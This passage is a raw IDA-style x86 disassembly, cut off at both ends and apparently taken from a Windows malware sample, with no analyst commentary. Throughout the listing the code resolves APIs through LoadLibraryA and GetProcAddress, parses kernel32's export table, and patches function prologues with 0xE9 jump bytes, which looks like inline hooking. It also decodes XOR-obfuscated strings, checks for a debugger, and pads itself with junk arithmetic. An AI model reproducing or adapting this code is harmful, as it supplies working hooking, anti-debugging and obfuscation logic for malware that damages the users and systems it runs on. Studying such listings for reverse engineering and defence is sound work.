sub_4028B9+52j mov eax, [ebp+var_4] cmp byte ptr [eax+ebx], 0 jnz short loc_40290D inc ebx loc_402905: ; CODE XREF: sub_4028B9+40j cmp ebx, 3E8h jbe short loc_4028FB loc_40290D: ; CODE XREF: sub_4028B9+49j call sub_40C4C4 ; GetCurrentThreadId cmp ebx, 3E8h jnb short loc_402934 call sub_40C4C4 ; GetCurrentThreadId inc [ebp+var_4] loc_402922: ; CODE XREF: sub_4028B9+31j mov eax, [ebp+arg_4] sub eax, 3E8h cmp [ebp+var_4], eax jbe short loc_4028EC jmp loc_402AD1 ; --------------------------------------------------------------------------- loc_402934: ; CODE XREF: sub_4028B9+5Fj add [ebp+var_4], 0Ah movzx edi, [ebp+arg_8] shl edi, 2 mov ebx, ds:dword_40F1A0[edi] and [ebp+var_8], 0 loc_40294A: ; CODE XREF: sub_4028B9+15Dj mov eax, ebx add eax, [ebp+var_8] push eax call sub_401D0D pop ecx call sub_40C4B8 ; GetCurrentProcessId mov eax, [ebp+var_8] movzx eax, byte ptr [ebx+eax] cmp eax, 0E8h jz short loc_402999 cmp eax, 0E9h jz short loc_402999 call sub_40C548 ; GetTickCount and [ebp+var_C], 0 jmp short loc_40298D ; --------------------------------------------------------------------------- loc_40297B: ; CODE XREF: sub_4028B9+DCj mov eax, [ebp+var_8] add eax, [ebp+var_C] mov edx, [ebp+var_4] mov cl, [ebx+eax] mov [edx+eax], cl inc [ebp+var_C] loc_40298D: ; CODE XREF: sub_4028B9+C0j mov eax, ds:dword_40DFD4 cmp [ebp+var_C], eax jb short loc_40297B jmp short loc_402A0A ; --------------------------------------------------------------------------- loc_402999: ; CODE XREF: sub_4028B9+AEj ; sub_4028B9+B5j mov [ebp+var_30], 0EFEh movzx eax, [ebp+var_30] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_30], ax mov eax, [ebp+var_8] mov edx, [ebp+var_4] mov cl, [ebx+eax] mov [edx+eax], cl call sub_40C4B8 ; GetCurrentProcessId mov eax, [ebp+var_8] lea eax, [ebx+eax+1] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_8] mov edx, [ebp+var_10] mov ecx, [ebp+var_4] add ecx, eax sub edx, ecx mov ecx, ebx add ecx, eax mov eax, edx add eax, ecx mov [ebp+var_2C], eax call sub_40C4B8 ; GetCurrentProcessId mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [eax+edx+1] mov edx, [ebp+var_2C] mov [eax], edx mov [ebp+var_32], 750h movzx eax, [ebp+var_32] imul eax, 53B6h mov [ebp+var_32], ax loc_402A0A: ; CODE XREF: sub_4028B9+DEj mov eax, ds:dword_40DFD4 add [ebp+var_8], eax cmp [ebp+var_8], 5 jb loc_40294A mov eax, [ebp+var_8] or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] add ecx, eax sub edx, ecx mov ecx, ebx add ecx, eax mov eax, edx add eax, ecx sub eax, 4 mov [ebp+var_10], eax mov [ebp+var_18], 43B1h mov eax, 2A11h mul [ebp+var_18] mov [ebp-34h], eax mov [ebp+var_18], eax mov eax, [ebp+var_4] mov edx, [ebp+var_8] mov byte ptr [edx+eax], 0E9h mov [ebp+var_12], 2Ah movzx eax, [ebp+var_12] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_12], al mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [eax+edx+1] mov edx, [ebp+var_10] mov [eax], edx or eax, 0FFFFFFFFh sub eax, ebx mov edx, [ebp+var_4] mov ecx, [ebp+var_8] lea edx, [edx+ecx+5] add eax, edx sub eax, 4 mov [ebp+var_10], eax mov [ebp+var_19], 5Ah sub [ebp+var_19], 46h mov byte ptr [ebx], 0E9h mov [ebp+var_20], 3FA7h add [ebp+var_20], 498Fh mov ds:1[ebx], eax mov ax, word_43D134 mov [ebp+var_2E], ax push ecx push [ebp+var_4] movzx edi, [ebp+arg_8] shl edi, 4 push off_43CE7C[edi] call sub_40256D add esp, 0Ch loc_402AD1: ; CODE XREF: sub_4028B9+76j pop edi pop esi pop ebx leave retn sub_4028B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AD6 proc near ; CODE XREF: sub_40A74E+50Ep var_258C = dword ptr -258Ch var_2588 = dword ptr -2588h var_2584 = dword ptr -2584h var_2580 = dword ptr -2580h var_257C = dword ptr -257Ch var_21B2 = byte ptr -21B2h var_21AE = word ptr -21AEh var_21AC = byte ptr -21ACh var_21A8 = dword ptr -21A8h var_21A4 = dword ptr -21A4h var_21A0 = byte ptr -21A0h var_219F = byte ptr -219Fh var_219C = dword ptr -219Ch var_2197 = dword ptr -2197h var_2190 = dword ptr -2190h var_218A = word ptr -218Ah var_2188 = dword ptr -2188h var_2184 = dword ptr -2184h var_2180 = byte ptr -2180h var_207F = byte ptr -207Fh var_207C = dword ptr -207Ch var_2076 = dword ptr -2076h var_2072 = byte ptr -2072h var_206C = dword ptr -206Ch var_2068 = dword ptr -2068h var_2064 = dword ptr -2064h var_2060 = dword ptr -2060h var_205C = byte ptr -205Ch var_205B = byte ptr -205Bh var_205A = word ptr -205Ah var_2058 = dword ptr -2058h var_2054 = word ptr -2054h var_2052 = byte ptr -2052h var_2051 = byte ptr -2051h var_2050 = byte ptr -2050h var_204C = dword ptr -204Ch var_2044 = dword ptr -2044h var_2034 = dword ptr -2034h var_2030 = dword ptr -2030h var_202C = dword ptr -202Ch var_2025 = byte ptr -2025h var_2024 = dword ptr -2024h var_2020 = dword ptr -2020h var_101C = dword ptr -101Ch var_1015 = byte ptr -1015h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 ; FUNCTION CHUNK AT 00403047 SIZE 00000325 BYTES push ebp mov ebp, esp mov eax, 258Ch call sub_40C43C push ebx push esi push edi mov [ebp+var_2051], 2Ch movzx eax, [ebp+var_2051] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2051], al call sub_402246 mov [ebp+var_2025], 0 call sub_40C554 ; GetVersion cmp eax, 80000000h jnb short loc_402B1F mov [ebp+var_2025], 1 loc_402B1F: ; CODE XREF: sub_402AD6+40j lea edi, [ebp-2071h] lea esi, a_jyp ; ".jYP" mov ecx, 5 rep movsb mov [ebp+var_1015], 0 loc_402B39: ; CODE XREF: sub_402AD6+124j cmp [ebp+var_2025], 0 jnz short loc_402B56 movzx edi, [ebp+var_1015] shl edi, 4 cmp byte_43CE80[edi], 1 jz short loc_402B73 loc_402B56: ; CODE XREF: sub_402AD6+6Aj cmp [ebp+var_2025], 0 jz short loc_402B75 movzx edi, [ebp+var_1015] shl edi, 4 cmp byte_43CE80[edi], 2 jnz short loc_402B75 loc_402B73: ; CODE XREF: sub_402AD6+7Ej jmp short loc_402BE1 ; --------------------------------------------------------------------------- loc_402B75: ; CODE XREF: sub_402AD6+87j ; sub_402AD6+9Bj mov [ebp+var_2058], 21F9h sub [ebp+var_2058], 391Ch movzx edi, [ebp+var_1015] mov esi, edi shl esi, 4 push off_43CE78[esi] call sub_40C5E4 ; LoadLibraryA mov ds:dword_414FF0[edi*4], eax mov eax, dword_43D13B mov [ebp+var_2076+1], eax movzx edi, [ebp+var_1015] mov esi, edi shl esi, 4 push off_43CE74[esi] shl edi, 2 push ds:dword_414FF0[edi] call sub_40C50C ; GetProcAddress mov ds:dword_40F1A0[edi], eax call sub_40C518 ; GetProcessHeap loc_402BE1: ; CODE XREF: sub_402AD6:loc_402B73j add [ebp+var_1015], 1 movzx edi, [ebp+var_1015] shl edi, 4 cmp off_43CE74[edi], 0 jnz loc_402B39 call sub_40C548 ; GetTickCount mov [ebp+var_1015], 0 loc_402C0C: ; CODE XREF: sub_402AD6+86Ej movzx edi, [ebp+var_1015] shl edi, 2 cmp ds:dword_40F1A0[edi], 0 jz loc_40332B mov [ebp+var_205A], 71F3h movzx eax, [ebp+var_205A] imul eax, 3ACFh mov [ebp+var_205A], ax movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_414FF0[edi] mov [ebp+var_2034], edi cmp [ebp+var_2025], 0 jz loc_402EAA call sub_40C4E8 ; RtlGetLastWin32Error call sub_4022E4 mov [ebp+var_2030], eax shr edi, 16h shl edi, 16h mov [ebp+var_8], edi mov eax, edi add eax, 400000h mov [ebp+var_1014], eax xor ebx, ebx jmp short loc_402CE0 ; --------------------------------------------------------------------------- loc_402C8F: ; CODE XREF: sub_402AD6+213j mov [ebp+var_21A4], 4E7Eh mov eax, 5D56h mul [ebp+var_21A4] mov [ebp+var_21A8], eax mov [ebp+var_21A4], eax mov eax, dword_43D004 add eax, 0FFFh push eax push [ebp+var_8] call sub_40C5C0 ; IsBadReadPtr mov [ebp+var_4], eax xor [ebp+var_4], 1 shl [ebp+var_4], 2 mov edi, [ebp+var_4] mov [ebp+ebx*4+var_1010], edi inc ebx add [ebp+var_8], 1000h loc_402CE0: ; CODE XREF: sub_402AD6+1B7j mov eax, [ebp+var_1014] cmp [ebp+var_8], eax jbe short loc_402C8F lea eax, [ebp+var_219F] push eax call sub_40C5A8 ; GlobalMemoryStatus mov [ebp+var_21A0], 5 sub [ebp+var_21A0], 61h and [ebp+var_101C], 0 jmp loc_402E0B ; --------------------------------------------------------------------------- loc_402D11: ; CODE XREF: sub_402AD6+346j call sub_40C4B8 ; GetCurrentProcessId push 0FFFFh push [ebp+var_101C] push [ebp+var_2030] call sub_40247C add esp, 0Ch mov [ebp+var_C], eax lea edi, [ebp+var_21AC] lea esi, aV4r7 ; "= ;v4R7" movsd movsd cmp [ebp+var_C], 0 jnz short loc_402D50 call sub_40C4C4 ; GetCurrentThreadId jmp loc_402E01 ; --------------------------------------------------------------------------- loc_402D50: ; CODE XREF: sub_402AD6+26Ej and [ebp+var_21A4], 0 loc_402D57: ; CODE XREF: sub_402AD6+850j mov eax, [ebp+var_21A4] mov [ebp+var_8], eax jmp loc_402DE6 ; --------------------------------------------------------------------------- loc_402D65: ; CODE XREF: sub_402AD6+317j call sub_40C554 ; GetVersion xor ebx, ebx loc_402D6C: ; CODE XREF: sub_402AD6+2D6j call sub_40C4B8 ; GetCurrentProcessId mov edi, [ebp+var_8] shr edi, 2 shl edi, 2 add edi, [ebp+var_C] mov edi, [edi+ebx*4] mov [ebp+var_4], edi call sub_40C4C4 ; GetCurrentThreadId and [ebp+var_4], 4 mov edi, [ebp+ebx*4+var_1010] cmp [ebp+var_4], edi jnz short loc_402DAE mov ax, word_43D147 mov [ebp+var_21AE], ax inc ebx cmp ebx, 400h jb short loc_402D6C loc_402DAE: ; CODE XREF: sub_402AD6+2C0j cmp ebx, 3FFh jb short loc_402DDF lea edi, [ebp+var_21B2] lea esi, aOx ; " ox $" mov ecx, 3 rep movsw mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_21A4], eax call sub_40C4E8 ; RtlGetLastWin32Error jmp short loc_402E37 ; --------------------------------------------------------------------------- loc_402DDF: ; CODE XREF: sub_402AD6+2DEj add [ebp+var_8], 1000h loc_402DE6: ; CODE XREF: sub_402AD6+28Aj cmp [ebp+var_8], 0F000h jbe loc_402D65 push [ebp+var_C] call sub_4024CB pop ecx call sub_40C554 ; GetVersion loc_402E01: ; CODE XREF: sub_402AD6+275j add [ebp+var_101C], 10000h loc_402E0B: ; CODE XREF: sub_402AD6+236j mov eax, [ebp+var_2197] sub eax, 0FFFFh cmp [ebp+var_101C], eax jbe loc_402D11 push [ebp+var_2030] call sub_40C530 ; CloseHandle call sub_40C548 ; GetTickCount jmp loc_40332B ; --------------------------------------------------------------------------- loc_402E37: ; CODE XREF: sub_402AD6+307j movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_40F1A0[edi] mov [ebp+var_1014], edi and [ebp+var_1014], 0 loc_402E55: ; CODE XREF: sub_402AD6+3D2j call sub_40C4E8 ; RtlGetLastWin32Error mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] mov esi, [esi+edi] mov [ebp+edi+var_2020], esi mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] add edi, esi or byte ptr [edi], 2 call sub_40C4C4 ; GetCurrentThreadId inc [ebp+var_1014] cmp [ebp+var_1014], 400h jb short loc_402E55 loc_402EAA: ; CODE XREF: sub_402AD6+189j mov [ebp+var_205B], 0C1h add [ebp+var_205B], 1 cmp [ebp+var_2025], 0 jnz loc_402F71 call sub_40C518 ; GetProcessHeap push offset aKernel32_dll ; "kernel32.dll" call sub_40C500 ; GetModuleHandleA mov [ebp+var_2184], eax call sub_40C554 ; GetVersion mov eax, [ebp+var_2184] mov edx, eax add edx, ds:3Ch[eax] mov [ebp+var_2190], edx call sub_40C4E8 ; RtlGetLastWin32Error mov eax, [ebp+var_2184] mov edx, [ebp+var_2190] add edx, 78h add eax, [edx] mov [ebp+var_2197+3], eax call sub_40C548 ; GetTickCount mov eax, [ebp+var_2184] mov edx, [ebp+var_2197+3] add edx, 1Ch add eax, [edx] mov [ebp-2198h], eax call sub_40C518 ; GetProcessHeap mov eax, [ebp+var_2184] mov edx, [ebp-2198h] add eax, [edx] mov [ebp+var_219C], eax mov [ebp+var_2188], 52D4h sub [ebp+var_2188], 396h mov [ebp+var_207C], eax mov [ebp+var_218A], 422h sub [ebp+var_218A], 65F5h loc_402F71: ; CODE XREF: sub_402AD6+3E9j push 1Ch lea eax, [ebp+var_2050] push eax call sub_40C644 ; RtlZeroMemory mov [ebp+var_205C], 0BBh sub [ebp+var_205C], 0A8h mov eax, [ebp+var_2034] mov [ebp+var_202C], eax loc_402F99: ; CODE XREF: sub_402AD6+522j ; sub_403010+32j push 1Ch lea eax, [ebp+var_2050] push eax push [ebp+var_202C] call sub_40C6A4 ; VirtualQuery mov [ebp+var_2060], 111Ch sub [ebp+var_2060], 6053h mov eax, [ebp+var_2034] cmp [ebp+var_204C], eax jnz short loc_403047 mov [ebp+var_2064], 0F23h inc [ebp+var_2064] mov eax, [ebp+var_2044] mov [ebp+var_2068], eax add [ebp+var_202C], eax cmp [ebp+var_2025], 0 jnz short loc_402F99 mov word ptr [ebp+var_2184+2], 29E8h ; DATA XREF: .data:loc_4403FAr ; sub_44041D+8Cw ... movzx eax, word ptr [ebp+var_2184+2] ; DATA XREF: .data:0043F455r ; .data:loc_43F491r ... imul eax, 75BEh sub_402AD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_403010 proc near ; DATA XREF: .data:0043F551o ; sub_44041D+10o mov [ebp-2182h], ax push 20060000h push 0 mov edi, [ebp-2068h] shr edi, 0Ch push edi mov edi, [ebp-2050h] shr edi, 0Ch push edi push 1000Dh call dword ptr [ebp-207Ch] call sub_40C4E8 ; RtlGetLastWin32Error jmp loc_402F99 sub_403010 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_402AD6 loc_403047: ; CODE XREF: sub_402AD6+4F7j movzx edi, [ebp+var_1015] shl edi, 2 mov esi, [ebp+var_202C] sub esi, [ebp+var_2034] mov ds:dword_411780[edi], esi call sub_40C554 ; GetVersion movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_40F1A0[edi] mov [ebp+var_1014], edi mov eax, dword_43D004 add eax, 0FFFh push eax push edi call sub_40C5CC ; IsBadWritePtr mov [ebp+var_206C], eax mov [ebp+var_2052], 0CCh movzx eax, [ebp+var_2052] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2052], al cmp [ebp+var_206C], 0 jnz loc_4032BF lea edi, [ebp+var_207F] lea esi, aNb ; "Nb" mov ecx, 3 rep movsb cmp [ebp+arg_0], 0 jz loc_40329E call sub_40C4C4 ; GetCurrentThreadId mov eax, [ebp+var_1014] movzx eax, byte ptr [eax] cmp eax, 0E9h jz short loc_403109 call sub_40C4C4 ; GetCurrentThreadId cmp [ebp+arg_0], 1 jnz loc_40329E call sub_40C5D8 ; IsDebuggerPresent jmp loc_4032BF ; --------------------------------------------------------------------------- loc_403109: ; CODE XREF: sub_402AD6+618j mov eax, [ebp+var_1014] mov edx, ds:1[eax] sub edx, 0FFFFFFFFh lea eax, [edx+eax+4] mov [ebp+var_2024], eax call sub_40C518 ; GetProcessHeap mov [ebp+var_2180], 0 loc_40312F: ; CODE XREF: sub_402AD6+714j sub [ebp+var_2024], 5 mov eax, [ebp+var_2024] mov [ebp+var_4], eax loc_40313F: ; CODE XREF: sub_402AD6+6A2j mov eax, [ebp+var_4] mov edx, eax dec edx cmp byte ptr [edx], 0 jnz short loc_403170 mov edx, eax sub edx, 2 cmp byte ptr [edx], 0 jnz short loc_403170 mov edx, eax sub edx, 3 cmp byte ptr [edx], 0 jnz short loc_403170 mov edx, eax sub edx, 4 cmp byte ptr [edx], 0 jnz short loc_403170 sub eax, 5 cmp byte ptr [eax], 0 jz short loc_40317A loc_403170: ; CODE XREF: sub_402AD6+672j ; sub_402AD6+67Cj ... call sub_40C548 ; GetTickCount dec [ebp+var_4] jmp short loc_40313F ; --------------------------------------------------------------------------- loc_40317A: ; CODE XREF: sub_402AD6+698j movzx edi, [ebp+var_2180] shl edi, 2 mov esi, [ebp+var_4] mov [ebp+edi+var_257C], esi add [ebp+var_2180], 1 movzx eax, byte ptr [esi] cmp eax, 0E9h jnz short loc_4031EF mov [ebp+var_2584], 7FD9h mov eax, 5B51h mul [ebp+var_2584] mov [ebp+var_258C], eax mov [ebp+var_2584], eax mov eax, esi mov edx, ds:1[eax] sub edx, 0FFFFFFFFh lea eax, [edx+eax+4] mov [ebp+var_2024], eax mov [ebp+var_2588], 7769h sub [ebp+var_2588], 1231h jmp loc_40312F ; --------------------------------------------------------------------------- loc_4031EF: ; CODE XREF: sub_402AD6+6C7j mov ebx, [ebp+var_4] jmp short loc_403225 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402AD6+755j lea edi, [ebp+var_2588+2] lea esi, aAa6 ; "/aa6" mov ecx, 5 rep movsb mov eax, [ebp+var_1014] add eax, ebx sub eax, [ebp+var_4] mov dl, [ebx] mov [eax], dl mov byte ptr [ebp+var_2584+3], 0ABh sub byte ptr [ebp+var_2584+3], 16h inc ebx loc_403225: ; CODE XREF: sub_402AD6+71Cj cmp ebx, [ebp+var_2024] jb short loc_4031F4 loc_40322D: ; CODE XREF: sub_402AD6+7BBj sub [ebp+var_2180], 1 movzx edi, [ebp+var_2180] shl edi, 2 mov ebx, [ebp+edi+var_257C] loc_403245: ; CODE XREF: sub_402AD6+7B0j mov byte ptr [ebx], 0 cmp byte ptr ds:1[ebx], 0 jnz short loc_40327A cmp byte ptr ds:2[ebx], 0 jnz short loc_40327A cmp byte ptr ds:3[ebx], 0 jnz short loc_40327A cmp byte ptr ds:4[ebx], 0 jnz short loc_40327A cmp byte ptr ds:5[ebx], 0 jz short loc_403288 loc_40327A: ; CODE XREF: sub_402AD6+77Aj ; sub_402AD6+784j ... mov eax, dword_43D157 mov [ebp+var_2580], eax inc ebx jmp short loc_403245 ; --------------------------------------------------------------------------- loc_403288: ; CODE XREF: sub_402AD6+7A2j movzx eax, [ebp+var_2180] or eax, eax jg short loc_40322D call sub_40C5D8 ; IsDebuggerPresent cmp [ebp+arg_0], 1 jz short loc_4032BF loc_40329E: ; CODE XREF: sub_402AD6+5FFj ; sub_402AD6+623j movzx eax, [ebp+var_1015] push eax push [ebp+var_202C] push [ebp+var_2034] call sub_4028B9 add esp, 0Ch call sub_40C518 ; GetProcessHeap loc_4032BF: ; CODE XREF: sub_402AD6+5E2j ; sub_402AD6+62Ej ... cmp [ebp+var_2025], 0 jz short loc_40332B mov [ebp+var_2184], 666Ah mov eax, 38EDh mul [ebp+var_2184] mov [ebp+var_2188], eax mov [ebp+var_2184], eax and [ebp+var_1014], 0 loc_4032F0: ; CODE XREF: sub_402AD6+849j mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] mov edx, [ebp+edi+var_2020] mov [esi+edi], edx inc [ebp+var_1014] cmp [ebp+var_1014], 400h jb short loc_4032F0 call sub_40C4B8 ; GetCurrentProcessId jmp loc_402D57 ; --------------------------------------------------------------------------- loc_40332B: ; CODE XREF: sub_402AD6+148j ; sub_402AD6+35Cj ... add [ebp+var_1015], 1 movzx edi, [ebp+var_1015] shl edi, 4 cmp off_43CE74[edi], 0 jnz loc_402C0C mov [ebp+var_2054], 2CB6h movzx eax, [ebp+var_2054] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2054], ax pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_402AD6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40336C proc near ; CODE XREF: sub_4034C6+6Cp ; sub_40355C+4Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 251h push esi push [ebp+arg_0] mov eax, dword_43D164 lea eax, ds:41DA80h[eax] push eax call sub_40C998 add esp, 0Ch mov [ebp+var_8], 38Ah xor edi, edi jmp short loc_4033B9 ; --------------------------------------------------------------------------- loc_4033A2: ; CODE XREF: sub_40336C+4Fj mov eax, dword_43D164 add eax, edi lea eax, ds:41DA80h[eax] movsx edx, byte ptr [eax] xor edx, 4 mov [eax], dl inc edi loc_4033B9: ; CODE XREF: sub_40336C+34j cmp edi, esi jl short loc_4033A2 mov eax, dword_43D164 add eax, esi mov byte ptr ds:dword_41DA80[eax], 0 mov edi, dword_43D164 mov eax, edi add eax, 6 add eax, esi mov dword_43D164, eax cmp eax, 0DE4h jle short loc_4033EC and dword_43D164, 0 loc_4033EC: ; CODE XREF: sub_40336C+77j mov [ebp+var_C], 277h lea eax, dword_41DA80[edi] pop edi pop esi leave retn sub_40336C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033FD proc near ; CODE XREF: sub_4034C6+4Fp ; sub_40355C+35p var_15 = byte ptr -15h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_8], 613Fh movzx eax, [ebp+var_8] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_8], ax mov ecx, ebx or eax, 0FFFFFFFFh loc_403422: ; CODE XREF: sub_4033FD+2Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_403422 mov edi, eax mov [ebp+var_6], di mov [ebp+var_10], 2120h add [ebp+var_10], 420Ah mov ax, [ebp+var_6] mov [ebp+var_2], ax jmp short loc_40346B ; --------------------------------------------------------------------------- loc_403447: ; CODE XREF: sub_4033FD+74j movzx eax, [ebp+var_2] cmp byte ptr [ebx+eax], 5Ch jnz short loc_403467 lea edi, [ebp+var_15] lea esi, dword_43D168 mov ecx, 5 rep movsb inc [ebp+var_2] jmp short loc_403473 ; --------------------------------------------------------------------------- loc_403467: ; CODE XREF: sub_4033FD+52j dec [ebp+var_2] loc_40346B: ; CODE XREF: sub_4033FD+48j movzx eax, [ebp+var_2] or eax, eax jg short loc_403447 loc_403473: ; CODE XREF: sub_4033FD+68j mov ax, [ebp+var_2] cmp ax, [ebp+var_6] jnb short loc_4034B0 mov [ebp+var_4], 0 jmp short loc_40349E ; --------------------------------------------------------------------------- loc_403485: ; CODE XREF: sub_4033FD+B1j movzx eax, [ebp+var_4] mov edx, [ebp+arg_4] movzx ecx, [ebp+var_2] mov esi, eax add esi, ecx mov cl, [ebx+esi] mov [edx+eax], cl inc [ebp+var_4] loc_40349E: ; CODE XREF: sub_4033FD+86j movzx eax, [ebp+var_4] movzx edx, [ebp+var_6] movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jle short loc_403485 loc_4034B0: ; CODE XREF: sub_4033FD+7Ej mov [ebp+var_9], 7Dh movzx eax, [ebp+var_9] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_9], al pop edi pop esi pop ebx leave retn sub_4033FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034C6 proc near ; CODE XREF: sub_403B8E+93p ; sub_403D18+263p ... var_115 = byte ptr -115h var_112 = byte ptr -112h var_10B = byte ptr -10Bh var_105 = byte ptr -105h var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 118h push esi push edi lea edi, [ebp+var_10B] lea esi, aS ; "S=~/ " mov ecx, 3 rep movsw lea edi, [ebp+var_112] lea esi, aW4 ; "='W#4~" mov ecx, 7 rep movsb lea edi, [ebp+var_115] lea esi, a0z ; "0Z" mov ecx, 3 rep movsb lea eax, [ebp+var_105] push eax push [ebp+arg_0] call sub_4033FD mov [ebp+var_1], 0C7h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al push 2 push offset word_447556 call sub_40336C push eax lea edi, [ebp+var_105] push edi call sub_40C9F8 add esp, 18h call sub_40C5D8 ; IsDebuggerPresent lea eax, [ebp+var_105] push eax call sub_40C584 ; GlobalAddAtomA pop edi pop esi leave retn sub_4034C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40355C proc near ; CODE XREF: sub_409883+25Dp ; sub_409883+2FEp ... var_111 = byte ptr -111h var_110 = byte ptr -110h var_108 = word ptr -108h var_106 = byte ptr -106h var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 114h push ebx push esi push edi mov [ebp+var_2], 41Ch sub [ebp+var_2], 0DBFh lea edi, [ebp+var_110] lea esi, aPfoebK ; "pFoE#K" movsd movsd call sub_40C554 ; GetVersion lea eax, [ebp+var_106] push eax push [ebp+arg_0] call sub_4033FD mov ebx, 7AF5h add ebx, 6FB2h push 2 push offset word_447556 call sub_40336C push eax lea edi, [ebp+var_106] push edi call sub_40C9F8 add esp, 18h loc_4035BD: ; CODE XREF: sub_40355C+A8j lea eax, [ebp+var_106] push eax call sub_40C59C ; GlobalFindAtomA mov edi, eax mov [ebp+var_108], di call sub_40C4B8 ; GetCurrentProcessId cmp [ebp+var_108], 0 jz short loc_403606 call sub_40C554 ; GetVersion movzx eax, [ebp+var_108] push eax call sub_40C590 ; GlobalDeleteAtom lea edi, [ebp+var_111] lea esi, byte_43D185 xor ecx, ecx inc ecx rep movsb jmp short loc_4035BD ; --------------------------------------------------------------------------- loc_403606: ; CODE XREF: sub_40355C+83j pop edi pop esi pop ebx leave retn sub_40355C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40360B proc near ; CODE XREF: sub_40369B+A9p ; sub_403780+35p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43D190 lea eax, ds:40E0E0h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_403647 ; --------------------------------------------------------------------------- loc_403630: ; CODE XREF: sub_40360B+3Ej mov eax, dword_43D190 add eax, edi lea eax, ds:40E0E0h[eax] movsx edx, byte ptr [eax] xor edx, 3Fh mov [eax], dl inc edi loc_403647: ; CODE XREF: sub_40360B+23j cmp edi, esi jl short loc_403630 mov eax, dword_43D190 add eax, esi mov byte ptr ds:dword_40E0E0[eax], 0 xor edi, edi mov edi, dword_43D190 add dword_43D190, 3 mov eax, dword_43D190 lea eax, [eax+esi+2] mov dword_43D190, eax add dword_43D190, 3 cmp dword_43D190, 0DC1h jle short loc_403691 and dword_43D190, 0 loc_403691: ; CODE XREF: sub_40360B+7Dj lea eax, dword_40E0E0[edi] pop edi pop esi pop ebp retn sub_40360B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40369B proc near ; CODE XREF: sub_403780+42p var_40 = byte ptr -40h var_3D = byte ptr -3Dh var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi mov ebx, [ebp+arg_4] call sub_40C4E8 ; RtlGetLastWin32Error lea edi, [ebp+var_40] lea esi, byte_43D194 mov ecx, 3 rep movsb call sub_40C4C4 ; GetCurrentThreadId mov eax, 5 sub eax, dword_43D188 push eax lea eax, [ebp+var_35] push eax push [ebp+arg_0] call sub_40C944 add esp, 0Ch mov [ebp+var_3D], 0C4h add [ebp+var_3D], 7 lea ecx, [ebp+var_35] or eax, 0FFFFFFFFh loc_4036EA: ; CODE XREF: sub_40369B+54j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4036EA mov edx, eax mov [ebp+var_2], dl mov [ebp+var_1], 0 jmp short loc_403712 ; --------------------------------------------------------------------------- loc_4036FC: ; CODE XREF: sub_40369B+81j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] sub edx, eax dec edx mov al, [ebp+eax+var_35] mov [ebx+edx], al add [ebp+var_1], 1 loc_403712: ; CODE XREF: sub_40369B+5Fj movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_4036FC mov [ebp+var_3C], 57FAh mov eax, [ebp+var_3C] mov edx, eax add edx, eax mov [ebp+var_3C], edx movzx eax, [ebp+var_2] mov byte ptr [ebx+eax], 0 mov [ebp+var_3], 0 jmp short loc_403757 ; --------------------------------------------------------------------------- loc_40373D: ; CODE XREF: 